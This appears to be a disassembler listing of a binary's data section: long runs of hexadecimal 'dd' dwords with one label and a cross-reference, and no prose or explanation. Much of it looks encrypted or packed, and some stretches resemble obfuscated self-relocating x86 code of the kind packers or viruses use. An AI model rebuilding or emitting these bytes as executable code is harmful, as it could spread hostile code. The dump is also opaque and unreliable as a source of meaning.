		dd 46D2B6A3h, 745A5A7Eh, 0C31CDFEDh, 0EA6F33Eh,	0FC35BA8h
		dd 10B821C4h, 0E9FA32A4h, 0D9BDAABFh, 615491D3h, 0AF4F5B93h
		dd 66CAD38h, 694D3A4Fh,	0F15491D3h, 2CC058D5h, 359BE3B9h
		dd 15B354FDh, 62B248E9h, 6547949Dh, 6648959Ch, 6A4C9998h
		dd 694B9891h, 0D2E09792h, 1CB40128h, 0A7593BE4h, 42543D8Ah
		dd 0B627592h, 5114958h,	3EC39E0h, 0D8250CF5h, 0FEFC0840h
		dd 3162DE2Bh, 0EB2310C7h, 66517E51h, 0D0DB3C54h, 99D189F3h
		dd 0A68B738Bh, 0A45BC159h, 857B6496h, 61C75FACh, 725F74CBh
		dd 5A7F518Eh, 6A104816h, 2D1AD127h, 5A7F5155h, 3B5007D5h
		dd 7F516A4Eh, 6D24F25Ah, 7F519C80h, 1E56245Ah, 0C56C9375h
		dd 39C6DA2Fh, 402943F8h, 0EAFE192Eh, 91DD19FDh,	1FD3A154h
		dd 5D9553B7h, 8FF92C4Ch, 7489E0DAh, 0D38E725Fh,	48165491h
		dd 91D3D5B9h, 9B515B54h, 77295525h, 0AEBFF7C5h,	7CF050EAh
		dd 17E9046h, 0DF4FF56Eh, 5E9D68Dh, 8D5791FCh, 4E1587BFh
		dd 0BE000000h, 2AF72ACh, 0DA8E7DFEh, 0F0D6AA9Fh, 45568EF4h
		dd 0DA8FF92Ch, 0A895AABFh, 5491D3C4h, 0D3765A47h, 30FE5491h
		dd 8D78B07Eh, 5491D3A9h, 0BFAE6331h, 3EF398AAh,	70AB9C83h
		dd 0C1756C57h, 4F871845h, 0F534C63Eh, 46DFE40h,	25h, 8FF92C67h
		dd 9CAABFDAh, 0FA257E65h, 0C9E58BD9h, 5C402B63h, 3B5491E5h
		dd 0ACBF0ABFh, 53AB34C6h, 0FEC378DEh, 91FB2C6Dh, 0D382EDDAh
		dd 0BC8A5176h, 0D5CEAE6Fh, 14695A78h, 0EEDFA06h, 0D036CE1Bh
		dd 5306D498h, 409BFEA9h, 1788Ah, 0E52C3500h, 13EFDC93h
		dd 9B5491D4h, 899780CDh, 987C6977h, 205491D3h, 0B99FEC52h
		dd 9C4F8BBFh, 2058BE04h, 8F46EB14h, 67B47D81h, 50A597CFh
		dd 43F839C6h, 0B2FEADBFh, 89A94B8Eh, 3201E5D2h,	0BB895492h
		dd 2CF3DA83h, 0C6D88FF9h, 493C5348h, 42538BBEh,	50EA8BE0h
		dd 31467CF0h, 34h, 8FF92CDCh, 0EED2BFDAh, 765491D3h, 0A49FD05Ah
		dd 1E840F46h, 9CAABF69h, 0E880CD64h, 34C69FB0h,	3C293EF5h
		dd 5491D358h, 0C9DA12E0h, 16046DFEh, 67000000h,	0DA8FF92Ch
		dd 0D3EED2BFh, 51CD5491h, 0C6ACBF9Ch, 0FE40F534h, 93E52C6Dh
		dd 0F6DAC7DCh, 7E5491D3h, 786578B0h, 5491D3A8h,	46EB1523h
		dd 1B2961F9h, 517004Dh,	0EE6C6C98h, 0A8B4ECEAh,	6F719057h
		dd 91F09E82h, 0F2582654h, 0F53CC3A5h, 44AA10A8h, 39C659AEh
		dd 422943F8h, 0C70ADBFh, 0BAB79804h, 3FA9DC82h,	0EA8BE08Ah
		dd 467CF050h, 5631h, 32CCDA00h,	2CB6C7FFh, 0C6D88FF9h
		dd 50F39803h, 293A72A5h, 0E34EB1BFh, 0B3C6FE96h, 91D3E2C6h
		dd 0E79C6A54h, 0B1BFACBFh, 0FA92DF4Ah, 0D3725643h, 2CFA5491h
		dd 0C912E8F4h, 0DD10D3Dh, 90FD01FFh, 0C0C12BDFh, 83E948B9h
		dd 8D58661Dh, 0FE43548Ch, 19046Dh, 2C670000h, 0BFDA8FF9h
		dd 91D3EED2h, 9C51CD54h, 34C6ACBFh, 75DB56ABh, 46DFEC0h
		dd 0E3h, 93E52C67h, 0D413EFDCh,	84965491h, 1CCF2A3Fh, 7DF8F05Bh
		dd 4DD10F8Ch, 89A1AFE7h, 0D66EBB76h, 0BE412370h, 0C688DD73h
		dd 2943F839h, 34B1BF42h, 0C80098E5h, 0D085F322h, 0DF4AB1BFh
		dd 0D0C2FA92h, 557A6B79h, 0D11E84A5h, 0EAF00139h, 467CF050h
		dd 8E6D7B90h, 0D4280C9Bh, 0E2B05791h, 3738AAh, 2CE30000h
		dd 0CAD88FF9h, 0B5C6FE1Bh, 0D9BDAABFh, 615491D3h, 5B485B93h
		dd 5491D377h, 0BF7C31FFh, 0F534C6ACh, 0BF6DFE40h, 0F77303ADh
		dd 0C3772BEEh, 0FBC9010Ch, 4Bh,	50B1BF5Eh, 0B0D7B93h, 1C82F940h
		dd 59FF37CFh, 0A15D6B2Ch, 1CAB4390h, 5491E238h,	0D58CF2C0h
		dd 0AEFB1EC7h, 0B30019CCh, 6C7DB51Bh, 0D3EED2BFh, 51CD5491h
		dd 34B1BF9Ch, 879AADE5h, 0B404ADBFh, 0EE31ECF8h, 0D950AAB6h
		dd 0BF6DFE24h, 0D3D9BDAAh, 42615491h, 91D37155h, 0C52BF954h
		dd 0D43D210Eh, 0F7C55491h, 0E54CB3BFh, 0E64BB698h, 0F7E4F950h
		dd 5491D513h, 8995CD9Bh, 0AD6EBB76h, 5491D4CFh,	94AA408Eh
		dd 0D4AE927Fh, 68365491h, 56DB2430h, 0A28F70C0h, 0A05E6C55h
		dd 74AC4491h, 5C42AFF9h, 0E948B78Eh, 7D3E6953h,	91D4AC90h
		dd 663454h, 0D9263449h,	0D752A858h, 0D449B49Fh,	83515176h
		dd 0D6957536h, 0E4175A78h, 0E516F845h, 0FD59F744h, 0B60BA2EFh
		dd 28DC3DA8h, 13EC04Eh,	470B43B7h, 0BC1CC6B1h, 55FD409Bh
		dd 0A8000000h, 1FAA39C6h, 292AEF64h, 0FD0BC228h, 7A803001h
		dd 0E5CE77AFh, 0F43DC2D0h, 92B18165h, 0EF10954h, 0D83ED623h
		dd 0B1D1B5A0h, 0A05B5492h, 0B1674B38h, 21EF5492h, 748C6EBBh
		dd 76D270BDh, 5AA81B60h, 0E74AB58Ch, 84811E30h,	5DAA8779h
		dd 0D83C11C5h, 9FF4E61Eh, 0ABF839C6h, 0DD94042Fh, 7DA284F0h
		dd 586D8C51h, 7E46876Bh, 0B2410F5Ah, 5A7E46CEh,	6B228856h
		dd 46856956h, 3F0D5A7Eh, 0F82B1507h, 81ECD990h,	89576346h
		dd 0CDAD6EBBh, 68606548h, 2D11FE13h, 0B5606549h, 1DEBAFE7h
		dd 0AF89C06Ah, 3EA14Eh,	2C4C0000h, 0EFDC93E5h, 5491D41Bh
		dd 101ED5A3h, 2206F3D5h, 0AA5491D4h, 543825DCh,	0DC5491D3h
		dd 0E3F1A80Eh, 0F2D6C31Dh, 7A5491D3h, 1C0E46ACh, 0DFC3B0C5h
		dd 675491D3h, 1E936199h, 0F6000000h, 0DC93E52Ch, 91D41FEFh
		dd 0FC839F54h, 41639086h, 3644FB61h, 0A5B36AAFh, 0AFA1D940h
		dd 169045Ah, 2C670000h,	29DF94E6h, 0F839C642h, 0EA8BE043h
		dd 467CF050h, 4E31h, 0E62CDC00h, 317E9B4Ah, 0BF7E3399h
		dd 93E049B1h, 1DDD69ADh, 0B81E743Ch, 9C806D80h,	1F549256h
		dd 0F542EF11h, 0F7AA070Fh, 6ED411F6h, 0B5ED3CBEh, 0BF24D9A7h
		dd 96E34EB1h, 0ED5419B0h, 0A60C51CEh, 0C6485B6Eh, 0FE45FA1Fh
		dd 42046Dh, 2C670000h, 0CFDD94E6h, 0E849B82Fh, 0BF394A82h
		dd 0CA5F9CAAh, 0CE639B7Dh, 0CF83E981h, 290E8C7Eh, 8F32BFAh
		dd 5491E124h, 0BF8E95A7h, 0F8D7DA7Eh, 4078B948h, 0BF580D89h
		dd 0CE639CAAh, 1FC68596h, 6DFE45FAh, 0E534B1BFh, 895EA1ADh
		dd 0A257BD5Ch, 0B3324029h, 43301966h, 5491D35Fh, 7BB319E7h
		dd 41F92C6Ah, 0D2284850h, 0BE720A57h, 99FF64DDh, 4EB1BFE4h
		dd 0C6FE96E3h, 50EA7FD4h, 31467CF0h, 2Dh, 8FF92CDCh, 0EED2BFDAh
		dd 765491D3h, 0ACBFF3A8h, 40F534C6h, 0AABF6DFEh, 91D3D9BDh
		dd 5B936154h, 298Dh, 5E0EE00h, 0F72FC714h, 4AB1BFE6h, 0D401A7DFh
		dd 113A7D16h, 0FD63CA61h, 0EED2BF48h, 0CD5491D3h, 0ACBF9C51h
		dd 40F534C6h, 3BC66DFEh, 9E8A9F6h, 0E65491D4h, 7634FB0Dh
		dd 3D281FC8h, 95AB4105h, 0B2AF9380h, 45325492h,	5492B261h
		dd 9B691BE9h, 87AA5763h, 11889AF1h, 0FF26E5D3h,	0C6DBEC24h
		dd 0C7A9F63Bh, 0D6AAF73Ah, 2C3A10E6h, 3B1F0CD4h, 0C35491D4h
		dd 6DF8FF5h, 0F62EC613h, 841A17EAh, 91DB0755h, 9E47D354h
		dd 7F457CF1h, 0FFFFFE67h, 0BDAABF2Ah, 5491D3D9h, 0B9C3C55Fh
		dd 0CD7F1B5Dh, 83964FFFh, 0BF80604Bh, 0E9FB5492h, 0B9E7FB17h
		dd 78639BE7h, 5491E418h, 91E3DEBBh, 57445954h, 5491E373h
		dd 0D4179F9h, 580AEEC8h, 8767528Ah, 2A5491ECh, 5491EC4Ah
		dd 91ED0DEDh, 5AC2F594h, 3E67B6A3h, 0CFE71178h,	4B98FE2Bh
		dd 7D34A4CFh
		dd 61116590h, 0FB1FED17h, 1F04AB1Dh, 0D7E68A67h, 0DC000002h
		dd 2B7B1108h, 74C45ACFh, 0C212A871h, 0D5DF33Eh,	8CA53BEEh
		dd 2EFB0023h, 7BB64898h, 0C56C95E5h, 1120DF2Fh,	0A08DA67Bh
		dd 5A7E4EBCh, 0C6D95E44h, 2FABF839h, 0CBDD9404h, 269628E6h
		dd 0D9EC2445h, 9F48B6C4h, 0B969CF62h, 0C6B1E948h, 517E545Eh
		dd 0CBFA905Eh, 5A7EF8EBh, 8138A0D3h, 9CF25A6Ch,	65009482h
		dd 7FCA9478h, 0E84E1C5Ah, 9981C5B0h, 3B09576Bh,	0A8897684h
		dd 0F43DC212h, 3E0EE6A7h, 7B89606Ch, 0CE74AC85h, 0E0CDE2A5h
		dd 606C3DFCh, 4327B684h, 0CB606C3Dh, 0CBE097FDh, 9EEB3EBDh
		dd 7E624F06h, 6606C3Dh,	35150038h, 0B05D580Bh, 88D55CA2h
		dd 0DCAAB8F0h, 0FFE81725h, 0FFE12EFBh, 4CE43100h, 9AEA80E6h
		dd 37FCC65h, 9CB168D0h,	88C0718Eh, 447F319Dh, 0F9223463h
		dd 0BF6A91C6h, 3D26DA72h, 0D9E71F71h, 1142BE0Bh, 0C6DBF0A7h
		dd 4559F5D9h, 0FFAF7D6Ch, 4AE22F02h, 27EF2712h,	556A6931h
		dd 31CB8468h, 63E0C72h,	5E732AF8h, 467EAB50h, 0D66CC53Ah
		dd 6BB87986h, 31C1CAAAh, 1781B272h, 0B40B7360h,	3D0B6F1Dh
		dd 0D94374F0h, 4BA23522h, 0DCAA7503h, 624E6AB8h, 7D21FEC1h
		dd 192h, 0C056C321h, 99F8A70h, 57ED2CB9h, 0A238F907h, 0EA80A952h
		dd 0B64568D1h, 718DDD73h, 27DA2AC0h, 0DB24740Ah, 0D2EBC056h
		dd 7E5001E5h, 1EA3895Ah, 0DA91FB2Ch, 7DA285EDh,	79668551h
		dd 5A7E4695h, 9CE94F1Dh, 0D75AA5B3h, 0D859A88Ah, 558DF38Bh
		dd 5D1484AFh, 69C03A48h, 474B4631h, 85535763h, 26ECB61h
		dd 1CC09DDFh, 126h, 2CC2578Dh, 750B1EDCh, 0C359C025h, 0EA48D73h
		dd 56EC3DBEh, 4AB1D43Dh, 5F949DFh, 0BB46962Ch, 6F90E076h
		dd 3E572CC2h, 7E4F6D51h, 8A0FF55Ah, 0DA91FB2Ch,	7DA10DEDh
		dd 8A758D51h, 0BF441A7h, 0CA5D3AF9h, 4AB74EC3h,	9C029AE7h
		dd 8AA75864h, 855BA4F4h, 7E8CB498h, 86E3C5Ah, 3CC4D2BBh
		dd 4269B2A7h, 66B664h, 87F122C8h, 0E39FE3D0h, 59275769h
		dd 0C66B94A2h, 553B9379h, 3FC51DCBh, 5FAFA1D9h,	0C2D78E9Bh
		dd 6A05F1D5h, 73AB7960h, 65B43181h, 956A78CFh, 3784AD52h
		dd 7889399Fh, 9CD46CB9h, 2BC17090h, 3CBF20DBh, 0A208A0EDh
		dd 57A3B50Ch, 533724D7h, 0DB6069F3h, 0EDEB590Dh, 56A5B1E9h
		dd 896FF585h, 0E54BD709h, 32FFFF4Fh, 7CB54C9Ch,	0DFC3B0C5h
		dd 676069F3h, 1F6F6199h, 6BBB51E0h, 0D9E79E93h,	2F530722h
		dd 0E36DF55h, 0EADC14h,	99AE65D7h, 0CCB39784h
dword_596968	dd 6D3B606Ah, 9B064A35h, 0C08E5D56h, 0C36E9173h, 141B2Dh
					; DATA XREF: sub_542C3C+6B87o
		dd 0BF7E0000h, 5A75A9ADh, 9255896Dh, 8F431154h,	0F32B4C29h
		dd 1EC63479h, 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh, 27D4B603h
		dd 28D3B502h, 2ED2B401h, 11D4B603h, 21D9BB08h, 516FBB08h
		dd 0B850E189h, 6F012159h, 3A75F72Dh, 48D0F746h,	54993540h
		dd 0C101D739h, 4E98358h, 5C240C87h, 621568h, 242C8900h
		dd 175F68h, 24148900h, 91BD5557h, 8161A658h, 4A2BBDF5h
		dd 5DEF8964h, 835FFD89h, 248904ECh, 24048124h, 4, 4EC815Ah
		dd 89000000h, 428F242Ch, 24148B08h, 81E78957h, 4C7h, 4C78100h
		dd 87000000h, 8B5C243Ch, 8952242Ch, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 1EDE95Ch, 5C7FFFFBh, 6E464F4h, 7E12B8C4h
		dd 0C50305ECh, 49E9C38Bh, 60000001h, 820F60h, 0B5000000h
		dd 8E86121h, 71000000h,	67024F2Eh, 66D9098Ch, 59EF1CBEh
		dd 56B58D61h, 6A05EC7Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 7FCEC357h, 60292A31h
		dd 0DE8D38Bh, 9A000000h, 93273E4Fh, 0F0C024B8h,	602E08A1h
		dd 5ACBB70Fh, 71858D61h, 0FC05EA46h, 6AD0FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 130B43C3h
		dd 6057600Eh, 8B665F61h, 0E9C361FBh, 0Bh, 0F181D7F0h, 3B4C0ACEh
		dd 661CB279h, 0FE9D98Ch, 0D0000000h, 91A9760Ch,	0DB7BDEC9h
		dd 4FC81E3Bh, 0C1F66AFCh, 39840F04h, 0FC000000h, 0CB8BFB8Bh
		dd 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh
		dd 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h
		dd 1B8FAh, 9EB0000h, 0E4EB008Bh, 0B8h, 6ACF00h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 1E157CC3h, 0CAFEA2A2h, 0E96709C2h, 13h, 0F021AAC0h
		dd 90E3458h, 95788B1Bh,	0A6685C33h, 0FD2FF42h, 78Fh, 5B86000h
		dd 615B7F9Ah, 7F8F85C7h, 13F05ECh, 8D8D0001h, 5EC80E9h
		dd 2AED8529h, 8D8905E7h, 5E71AA9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 7AC35545h, 8221CCA6h, 331F69C7h
		dd 0E72065BDh, 4D85C705h, 0B005E72Ah, 89000061h, 0E7151585h
		dd 6800F05h, 8B000000h,	0E724E5BDh, 3985C705h, 5E727h
		dd 0FF000000h, 0E72029B5h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0B6081977h
		dd 8E961A4h, 0E7000000h, 0FC3E0204h, 0FF1070CBh, 0E7179595h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 3602AD3h, 0E720F18Dh, 0F61FC05h,	0C80h
		dd 68D0F00h, 8B000000h,	0E708C99Dh, 0C19D0905h,	6A05E707h
		dd 0C195FF00h, 8B05E721h, 870DEBC0h, 5FFB749Ah,	4F1C5093h
		dd 4A947720h, 81D78D8Dh, 6A05ECh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 205A43C3h, 3624B688h
		dd 9D095309h, 5E71835h,	1AA98D89h, 6A05E7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BF0FE2C3h
		dd 5234BAD1h, 85C76B78h, 5E72A4Dh, 6618h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 37C35141h, 9F138A36h
		dd 21858B50h, 0E905E70Bh, 6, 0EE0A0038h, 85C73B18h, 5E72739h
		dd 0
		dd 15B5FFFCh, 6A05E71Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0BFD7C353h,	85AE46B9h
		dd 9595FF93h, 8905E717h, 0E71B9595h, 0FF006A05h, 0E721C195h
		dd 0EBC08B05h, 0A26F936Dh, 85630709h, 2097C836h, 9F6FA6EFh
		dd 0D55AC6DCh, 0B5B6AB06h, 0CE8F95Eh, 0F0CAD46Eh, 8ECD974Bh
		dd 0FFCFC336h, 0F9650019h, 0EB196865h, 5C0A3EE8h, 0D8026691h
		dd 8C66B3A9h, 0C697BE7Eh, 7C51B13h, 78920EAFh, 0ECBE05B2h
		dd 0D7D1544Dh, 2A16AE8h, 87210B79h, 7B132679h, 8680BB3Eh
		dd 0BB92639Eh, 0C60194A4h, 0F2A94955h, 1D281374h, 447FEB62h
		dd 0A05AA70Eh, 7FBDF3FBh, 3B0C07EFh, 7EDF7B93h,	8B44FD42h
		dd 8BB98001h, 2AFB327Fh, 76054534h, 86732140h, 3E9F19CFh
		dd 33B93D43h, 0D21E3242h, 3B0F31EEh, 0B8C5E3C2h, 0DCDFB7FFh
		dd 0BFEE3247h, 3BF0325Ch, 3B7837AAh, 223FBC42h,	0D99F29CEh
		dd 3EC21705h, 3801DB1Ch, 257C3242h, 5DF22C12h, 0BE7DF8C9h
		dd 3E94B02Bh, 0D36F3228h, 3B1E3241h, 60CC6962h,	3FA36ECBh
		dd 3FE776C3h, 3BE1325Bh, 87336101h, 3BB2B6B7h, 0B74F8CAEh
		dd 0B04E1D5Fh, 1F0BBB89h, 0FD45B324h, 7046BFD2h, 51E4DEC0h
		dd 38186342h, 1B783242h, 0B265F11Bh, 0BA1A160Eh, 260B1606h
		dd 7A873242h, 0FD84F113h, 7D0A6D81h, 55E0343Ah,	3B7EDA12h
		dd 0DC2D3242h, 31803D40h, 345D6222h, 5DDF6873h,	61A2CBC9h
		dd 6BC536CBh, 6209B924h, 31A5A7BDh, 3B5637A5h, 3B1DDA10h
		dd 612F3242h, 6F0E6881h, 7F423666h, 3BFA3666h, 69B23242h
		dd 0CBB41581h, 2D19241Fh, 69DEB9FFh, 3B0F26ABh,	705C1942h
		dd 7004B612h, 699514Eh,	789106A3h, 921B3931h, 86BF6C46h
		dd 3EF93EC3h, 0B8064742h, 0DCAF2BFFh, 22B73247h, 0FB6A6112h
		dd 3BF448FAh, 46FDBB42h, 0B639D546h, 0D2AAA1DFh, 60DCCD47h
		dd 223AB11Ah, 3BC6D56Ah, 68B12536h, 3BF448FAh, 46FDBB42h
		dd 0B639D546h, 0D2AFB0DFh, 60DCCD47h, 6E87581Ah, 3BC331AAh
		dd 0F8BC1242h, 1F9CBB1Fh, 1F3CB346h, 3B3C2746h,	0F84B7742h
		dd 0BA00047Ah, 3B87324Ah, 3BC1B84Dh, 62B33242h,	0D75D8CFCh
		dd 51B8B902h, 38D46442h, 1B1E3242h, 0B251F11Ch,	0BA831636h
		dd 20C71606h, 7DE13242h, 0FCC0F114h, 389B1E5h, 0A6B14E72h
		dd 3EF2B011h, 3B07DA14h, 72813242h, 0CC23E7A6h,	0BA87CF67h
		dd 61C80580h, 0EFFDBF1Dh, 0BA39DE3Ch, 0D6A83E98h, 0E8B03D3Eh
		dd 3BEDE2BDh, 3BC0DA11h, 60C13242h, 67796981h, 7FF93666h
		dd 3B263666h, 685D3242h, 0BDB51681h, 0B8A2B732h, 304FD4C2h
		dd 57653D82h, 34F03242h, 3B782BC0h, 84335242h, 3B11DBB8h
		dd 44A73242h, 0A69A2229h, 95FA245Bh, 0A3D3F934h, 0A67D53E3h
		dd 3E9F7F66h, 0D36B3228h, 3B1E3241h, 64CC6D62h,	3FA34ECBh
		dd 3FE776C3h, 3BE13256h, 7F336505h, 26F93DBBh, 0D33C3242h
		dd 3B1E3256h, 6FC2E789h, 431E9713h, 8F3D3621h, 7DCB5ED5h
		dd 554A0E9Bh, 648BB924h, 3B3C31FAh, 0B6FDCD42h,	0D78D69DFh
		dd 0C50C5447h, 4517B7CFh, 3B8B37AEh, 3BF3DA10h,	61583242h
		dd 6FB56881h, 7F9F3666h, 3B183666h, 69C53242h, 33F16981h
		dd 0C4A080CBh, 3020B992h, 65FC3D82h, 343C3242h,	3B1E32CDh
		dd 1F92BF42h, 5182D50Fh, 382B6242h, 1BE13242h, 0B2A8F11Ah
		dd 0BA7C1606h, 27381606h, 7B1E3242h, 3CBDF112h,	0BCC28FC0h
		dd 833EC85Fh, 3BE13243h, 0D3A53228h, 3B783241h,	66FF6F62h
		dd 3F3A5ECBh, 3F2B76C3h, 3B873254h, 3F006707h, 0D16B466Dh
		dd 5DA0D1BDh, 58A8E5C3h, 5BA1BF1Ch, 0D21BDEC0h,	3B0F324Ch
		dd 0BC3E9C70h, 24FC543h, 45D1F856h, 0BE7DD338h,	3E944C96h
		dd 3B39B94Dh, 0BA783242h, 0C4DF5DABh, 3B8EDA92h, 7FA73242h
		dd 2173E282h, 81D7AC20h, 5FD25CEEh, 34FC391Ch, 3B1E5DC6h
		dd 0EB845442h, 76A3AFCFh, 0D3A337A5h, 3BE13244h, 0E8C7C6AFh
		dd 831E0022h, 5A648A3Bh, 3B1E31FAh, 3B03DB42h, 3F5A3242h
		dd 6448A282h, 29ADE1A1h, 0D80FC06Dh, 0D3283228h, 3B3C3241h
		dd 63DD6A62h, 3F2B76CBh, 3FA376C3h, 3BC3325Bh, 42226202h
		dd 0A3239DC0h, 3B6CDB1Ah, 1F223242h, 0F87A83DCh, 339C4577h
		dd 1C8FD2A2h, 9A0C37CFh, 0CA6AEEEFh, 3BE2DB01h,	0C6973242h
		dd 0AFAE608Bh, 4E54AB65h, 8F92B493h, 0FCEA0F0Eh, 3BC1B54Dh
		dd 0C86A3242h, 0B9B98FCFh, 0B6F537AEh, 3ED0B429h, 70424FFAh
		dd 8A8A01C8h, 1082D573h, 0DFB6F38Dh, 47D78D69h,	0CFC50C54h
		dd 0AE4517B7h, 103B8B37h, 423BF3DAh, 81615832h,	0F305E983h
		dd 0BFC08BA4h, 2854098Bh, 0E1BE66h, 8D0FC38Bh, 3, 8B5FF850h
		dd 0F6E181C0h, 6642C82Ah, 83BBFFBFh, 0E70C81BDh, 9750005h
		dd 2819BD83h, 740005E7h, 8B535019h, 47AB8C0h, 85890000h
		dd 5E71775h, 0B4FA9D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h
		dd 50177400h, 47AB853h,	85890000h, 5E71775h, 0B19B9D8Dh
		dd 0D3FF05E9h, 0D78B585Bh, 8B0CDD80h, 5A8D8DC0h, 2B05EC87h
		dd 0E72115B5h, 0A98D8905h, 0E905E71Ah, 10h, 0A6625279h
		dd 68728E4h, 60FAAEB5h,	0B1254393h, 2A4D85C7h, 6B1805E7h
		dd 0BD8B0000h, 5E7035Dh, 273985C7h, 5E7h, 0C8800000h, 55B5FFA8h
		dd 6605E715h, 0FF16D6BFh, 0E7179595h, 28F08005h, 95FF006Ah
		dd 5E721C1h, 1CEBC08Bh,	5A6B99F6h, 72869CF8h, 20BB1EACh
		dd 6C841723h, 0B71BD5E1h, 0D77DCF91h, 0FE9F4124h, 266E9h
		dd 8C666000h, 4C1F6D9h,	35840Fh, 16A0000h, 899B5FFh, 858D05E7h
		dd 5EA7DA1h, 8589D0FFh,	5E72061h, 0EFC1FE8Bh, 680Ch, 6A2006h
		dd 6857026Ah, 1000Dh, 206195FFh, 32E905E7h, 0C6000000h
		dd 0E732A585h, 0DF685605h, 0FFA9C530h, 0E72B05B5h, 0A1858D05h
		dd 0FF05EA7Dh, 0C18589D0h, 8D05E71Bh, 0E70AED85h, 406A5005h
		dd 0FF56056Ah, 0E71BC195h, 0C36105h, 2 dup(0)
		dd 52000000h, 8B60D48Bh, 85890842h, 5EC87FEh, 890C428Bh
		dd 0EC87F685h, 10428B05h, 87FA8589h, 0B58D05ECh, 5EC8834h
		dd 7E35858Dh, 0D0FF005Bh, 0CC25A61h, 0FEB58B00h, 8B05EC87h
		dd 0EC87F685h, 0FABD8305h, 5EC87h, 7840Fh, 6890000h, 2E9h
		dd 0CF068800h, 2 dup(0)
		dd 60D48B52h, 8908428Bh, 0EC87FE85h, 85B58D05h,	8D05EC88h
		dd 5B7E3585h, 61D0FF00h, 0FE858B5Ah, 0C205EC87h, 858B0004h
		dd 5EC87FEh, 8589008Bh,	5EC87FEh, 0CFh,	0B5896000h, 5EC885Bh
		dd 88578589h, 858D05ECh, 5E71209h, 8944408Bh, 0EC889485h
		dd 0CAB58D05h, 8D05EC88h, 5B7E3585h, 61D0FF00h,	885B858Bh
		dd 8BC305ECh, 0EC88579Dh, 43B70F05h, 8BD8033Ch,	9D03785Bh
		dd 5EC8857h, 324738Bh, 0EC8857B5h, 7B8B5605h, 1C738B20h
		dd 8857BD03h, 0B50305ECh, 5EC8857h, 0FFC983FCh,	5B9D8B41h
		dd 8B05EC88h, 57950317h, 8305EC88h, 28A04C7h, 840FC084h
		dd 0Fh,	850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h
		dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 57850386h, 8905EC88h
		dd 0EC885B85h, 8BF08B05h, 81C18BCEh, 0EC8894BDh, 30000005h
		dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h
		dd 3FF8h, 8894BD8Bh, 0C8305ECh,	148B0607h, 24C28B07h, 8B813C81h
		dd 57840FC1h, 81000000h, 0EC8894BDh, 30000005h,	0D850FC0h
		dd 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h, 7FFFF8h
		dd 2Dh,	6088340h, 8000F7h, 840F0000h, 1Eh, 8894BD81h, 5ECh
		dd 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h,	8DCF0608h
		dd 0EC880285h, 8D858905h, 8D05E720h, 0EC889885h, 89858905h
		dd 8D05E70Ch, 0EC885F85h, 0B1858905h, 0E905E70Ch, 13Ch
		dd 4Fh dup(0)
		dd 319DBD83h, 0F0105E7h, 4BC84h, 1860F00h, 0F8000000h
		dd 32A585C6h, 6A4305E7h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 9318C353h, 0D37B163Bh
		dd 7890FA4h, 0F000000h,	18Ch, 0AC68F800h, 0F858C75h, 1285h
		dd 0F525000h, 89h, 0F310F00h, 81h, 81585A00h, 5B492404h
		dd 840F6719h, 9, 810F60h, 0F5000000h, 5B5FF61h,	0F05E72Bh
		dd 18Dh, 858DF900h, 5EA7DA1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 60C35141h, 0C78B6660h, 2890Fh
		dd 23B20000h, 0F9D0FF61h, 2E558589h, 6A05E7h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 1D320EC3h
		dd 0FB8B8F7h, 18Ah, 85C6F800h, 5E732A5h, 0AE96050h, 9F000000h
		dd 0F93A9702h, 0ECDF504Ch, 8E87Ch, 0AE040000h, 8B35FF5Bh
		dd 0DC8A1982h, 1F686158h, 0FAF2F94h, 1182h, 0CE900h, 212F0000h
		dd 0D260B343h, 0AE947B51h, 34815EABh, 82394924h, 0FFF8FC07h
		dd 0E72B05B5h, 0CE905h,	0B670000h, 0D8994507h, 0D9E24EC6h
		dd 0EE90A90h, 0E6000000h, 3FFAA7C8h, 0FF7B3294h, 7C0D5F15h
		dd 0A1858D71h, 0E905EA7Dh, 0Ch,	840C5EBEh, 0E1AD2443h
		dd 77AA8684h, 0E960D0FFh, 6, 9860F9A6h,	7E9565Fh, 10000000h
		dd 0E9D1AEDAh, 8961BB43h, 0E719F985h, 1800F05h,	0F9000000h
		dd 86C11D68h, 666060EBh, 0B5B350B9h, 0C88B6109h, 24348161h
		dd 1B096932h, 7E9h, 22AA4300h, 18C1F4A7h, 2B05B5FFh, 8B0F05E7h
		dd 13h,	0EE9h, 1FDF3900h, 3732187Fh, 5029A651h,	8DC3E1D2h
		dd 0EA7DA185h, 0EE905h,	1A930000h, 65E03379h, 4AFAB899h
		dd 5659468h, 0FE9h, 6813200h, 0E5482D9Fh, 4F88EF62h, 924703BCh
		dd 0AE9D0FFh, 77000000h, 7BEF2BE3h, 0C96F809Ah,	458589DCh
		dd 6A05E703h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0D493C352h, 0B05BE999h, 6CD09A2Bh
